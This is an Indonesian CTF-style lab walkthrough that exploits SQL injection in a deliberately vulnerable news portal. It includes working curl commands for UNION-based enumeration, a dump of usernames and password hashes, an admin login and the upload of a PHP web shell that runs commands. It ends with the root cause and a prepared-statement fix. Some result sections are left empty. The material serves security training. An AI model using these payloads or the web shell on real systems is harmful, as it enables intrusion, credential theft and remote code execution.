Lab Challenge 01: Portal Berita - SQL Injection Walkthrough

Target: portal.vuln.cybersecurity.or.id (Port 8081)
Vulnerability: SQL Injection (Error-based + UNION)
Tools: curl, browser
Author: TDCTF Security Academy - Cybersecurity Indonesia

Objective

Dapatkan akses ke Admin Panel dan temukan flag dengan mengeksploitasi SQL Injection pada parameter id di halaman berita.

Step 1: Reconnaissance

Buka halaman utama portal:

curl -s http://vuln.cybersecurity.or.id/

Temuan:

• Terdapat halaman news.php?id=X - menampilkan detail berita
• SQL query terekpos di HTML comment: <!-- SQL: SELECT n.*, ... FROM news n ... WHERE n.id = 1 -->
• Ada halaman login.php
• Halaman search.php

Step 2: Deteksi SQL Injection

Test dengan karakter ' pada parameter id:

curl -s "http://vuln.cybersecurity.or.id/news.php?id=1'"

Hasil: Server mengembalikan error SQL:

SQL Error: You have an error in your SQL syntax; check the manual...

✅ SQL Injection terkonfirmasi!

Step 3: Menentukan Jumlah Kolom

Gunakan ORDER BY untuk menemukan jumlah kolom:

for i in $(seq 1 10); do
  curl -s "http://vuln.cybersecurity.or.id/news.php?id=1%20ORDER%20BY%20$i--%20-" | grep -q "Unknown column" && \
    echo "Max columns: $((i-1))" && break
done

Hasil: 10 kolom - n.* (7 kolom) + u.full_name + u.username + c.name

Step 4: Extract Database Info

Gunakan UNION SELECT dengan 10 kolom. Kolom ke-2 muncul di <h2>:

# Database version
curl -s "http://vuln.cybersecurity.or.id/news.php?id=0%20UNION%20SELECT%201,version(),3,4,5,6,7,8,9,10--%20-"

# Database name
curl -s "http://vuln.cybersecurity.or.id/news.php?id=0%20UNION%20SELECT%201,database(),3,4,5,6,7,8,9,10--%20-"

# List tables
curl -s "http://vuln.cybersecurity.or.id/news.php?id=0%20UNION%20SELECT%201,group_concat(table_name),3,4,5,6,7,8,9,10%20FROM%20information_schema.tables%20WHERE%20table_schema=database()--%20-"

Hasil:

Database: newsportal
Version:  5.7.44
Tables:   categories, comments, documents, news, users

Step 5: Ekstrak Kredensial User

# Lihat kolom di tabel users
curl -s "http://vuln.cybersecurity.or.id/news.php?id=0%20UNION%20SELECT%201,group_concat(column_name),3,4,5,6,7,8,9,10%20FROM%20information_schema.columns%20WHERE%20table_name='users'--%20-"

# Dump semua username dan password hash
curl -s "http://vuln.cybersecurity.or.id/news.php?id=0%20UNION%20SELECT%201,group_concat(username,':',password),3,4,5,6,7,8,9,10%20FROM%20users--%20-"

Hasil:

Step 6: Login ke Admin Panel

# Login dengan kredensial admin
curl -s -X POST http://vuln.cybersecurity.or.id/login.php \
  -d "username=admin&password=admin" \
  -c /tmp/session.txt

# Akses admin panel
curl -s -b /tmp/session.txt http://vuln.cybersecurity.or.id/admin.php

✅ Berhasil login sebagai Administrator! Panel admin menampilkan:

• Manajemen user
• Upload dokumen - potensi RCE!

Step 7: Upload Shell (RCE)

Admin panel memiliki fitur upload file. Upload file PHP shell:

# Buat file shell
echo '<?php system($_GET["cmd"]); ?>' > shell.php

# Upload via admin panel (butuh session)
curl -s -X POST http://vuln.cybersecurity.or.id/upload.php \
  -b /tmp/session.txt \
  -F "[email protected]"

# Eksekusi perintah (cari path hasil upload)
curl -s "http://vuln.cybersecurity.or.id/uploads/shell.php?cmd=id"

# Baca flag
curl -s "http://vuln.cybersecurity.or.id/uploads/shell.php?cmd=cat%20/flag.txt"

Flag

Analisis

Attack Chain:

news.php?id=1' → Error SQL terdeteksi
       ↓
ORDER BY → 10 columns ditemukan
       ↓
UNION SELECT → database, tables, users
       ↓
MD5 crack → admin:admin
       ↓
Login Admin → Upload shell → RCE
       ↓
🏆 FULL COMPROMISE

Root Cause: Input $id langsung dimasukkan ke query SQL tanpa prepared statement:

$sql = "SELECT ... WHERE n.id = $id";  // ❌ VULNERABLE!

Remediasi:

$stmt = $conn->prepare("SELECT ... WHERE n.id = ?");
$stmt->bind_param("i", $id);  // ✅ AMAN!

CWE / CAPEC

Lessons Learned

1. Selalu cek error message - informasi error membantu identifikasi SQLi
2. Gunakan ORDER BY untuk menemukan jumlah kolom dengan cepat
3. information_schema adalah kunci untuk enumerasi database
4. SQL injection bisa lead ke RCE - jangan remehkan
5. Satu celah bisa jadi chain - SQLi → Admin → Upload → RCE

Generated by @farishhz Agent Pentest Pipeline - TDCTF Security Academy